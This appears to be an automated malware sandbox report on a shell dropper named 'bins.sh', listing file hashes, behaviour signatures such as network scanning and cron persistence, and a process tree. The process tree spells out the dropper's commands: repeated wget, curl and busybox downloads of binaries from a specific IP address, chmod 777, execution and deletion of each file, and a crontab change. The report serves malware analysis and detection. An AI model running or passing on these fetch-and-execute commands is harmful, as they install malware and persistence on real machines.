Analysis

  • max time kernel
    149s
  • max time network
    181s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    04-11-2024 13:57

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    5875b85f6a853bb5dc85b0a88a7be4b0

  • SHA1

    337556771a06e87851fd63266f40c71a79114b52

  • SHA256

    a2c7fd804328b2924ca9e0ae30caa8826786bd905f1bf0c66a85fddc50fe1f7a

  • SHA512

    b113dead6c232f3cba3dda0283cd0c8fbaa1e7b1d1d06ee63a7d084871ac0f8464efb6797f14f47f10728e58a2e68fb602e41e986c17eea55d99b87bfb0b1f21

  • SSDEEP

    192:rLIRRHWiihpWPE8Mum+Nh8vRRHWiARpXum+NhP:rLVDWMPr

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1935) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 4 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:646
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:649
        • /usr/bin/wget
          wget http://216.126.231.240/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          2⤵
          • Writes file to tmp directory
          PID:654
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:671
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          2⤵
          • Writes file to tmp directory
          PID:679
        • /bin/chmod
          chmod 777 i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          2⤵
          • File and Directory Permissions Modification
          PID:680
        • /tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          ./i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          2⤵
          • Executes dropped EXE
          PID:681
        • /bin/rm
          rm i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          2⤵
            PID:683
          • /usr/bin/wget
            wget http://216.126.231.240/bins/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
            2⤵
            • Writes file to tmp directory
            PID:685
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:695
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
            2⤵
            • Writes file to tmp directory
            PID:706
          • /bin/chmod
            chmod 777 v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
            2⤵
            • File and Directory Permissions Modification
            PID:710
          • /tmp/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
            ./v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
            2⤵
            • Executes dropped EXE
            PID:712
          • /bin/rm
            rm v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
            2⤵
              PID:714
            • /usr/bin/wget
              wget http://216.126.231.240/bins/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
              2⤵
              • Writes file to tmp directory
              PID:715
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:724
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
              2⤵
              • Writes file to tmp directory
              PID:737
            • /bin/chmod
              chmod 777 mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
              2⤵
              • File and Directory Permissions Modification
              PID:739
            • /tmp/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
              ./mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
              2⤵
              • Executes dropped EXE
              PID:740
            • /bin/rm
              rm mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
              2⤵
                PID:742
              • /usr/bin/wget
                wget http://216.126.231.240/bins/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
                2⤵
                • Writes file to tmp directory
                PID:743
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:744
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
                2⤵
                • Writes file to tmp directory
                PID:751
              • /bin/chmod
                chmod 777 vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
                2⤵
                • File and Directory Permissions Modification
                PID:757
              • /tmp/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
                ./vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:758
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:761
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:762
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:763
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:765
                    • /bin/rm
                      rm vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
                      2⤵
                        PID:772
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
                        2⤵
                          PID:776
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
                          2⤵
                            PID:778
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
                            2⤵
                            • Writes file to tmp directory
                            PID:865
                          • /bin/chmod
                            chmod 777 0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
                            2⤵
                            • File and Directory Permissions Modification
                            PID:870
                          • /tmp/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
                            ./0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
                            2⤵
                            • Executes dropped EXE
                            PID:871
                          • /bin/rm
                            rm 0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
                            2⤵
                              PID:872
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/iRdj0mPUq9mH99QrmxyO2oYhSlg6UHqSkk
                              2⤵
                                PID:873

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr

                              Filesize

                              127KB

                              MD5

                              89077b7bd4bcafca7713be43635c4862

                              SHA1

                              fc02edb8fba29ea8ee99e6157ef8560334530052

                              SHA256

                              78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                              SHA512

                              1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                            • /tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc

                              Filesize

                              99KB

                              MD5

                              9438d9bc392bcf300a5583b6df5bc8f6

                              SHA1

                              375a6ae34b516f6f3eeea8030c4084f585017efa

                              SHA256

                              68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                              SHA512

                              1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                            • /tmp/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm

                              Filesize

                              112KB

                              MD5

                              05d7857dcead18bbd86d2935f591873c

                              SHA1

                              34d18f41ef35f93d5364ce3e24d74730a4e91985

                              SHA256

                              2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                              SHA512

                              d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                            • /tmp/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X

                              Filesize

                              151KB

                              MD5

                              6c583043d91c55aa470c08c87058e917

                              SHA1

                              abf65a5b9bba69980278ad09356e53de8bb89439

                              SHA256

                              2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                              SHA512

                              82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                            • /tmp/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0

                              Filesize

                              177KB

                              MD5

                              786d75a158fe731feca3880f436082c0

                              SHA1

                              79ea2734e43d00cdeabed5586b2c1994d02aef3e

                              SHA256

                              5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                              SHA512

                              7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                            • /var/spool/cron/crontabs/tmp.yDq1e2

                              Filesize

                              210B

                              MD5

                              346c4ab853f0bf81f8a7651c823cfc12

                              SHA1

                              0a67140e7f878311971567cf388d7ab74a4482b9

                              SHA256

                              10fefbf3fc1225f11e6a16425c438bdbdbbb05400d31f6538e84611b08fb1f31

                              SHA512

                              2fa7f55b0f95b1adb74c2c97995a36518182ed36e0ebea3768ec3f87c7127adeb78f35a219d822298129c7fde83adb040064abe0787c30b083f4e38e84ce450f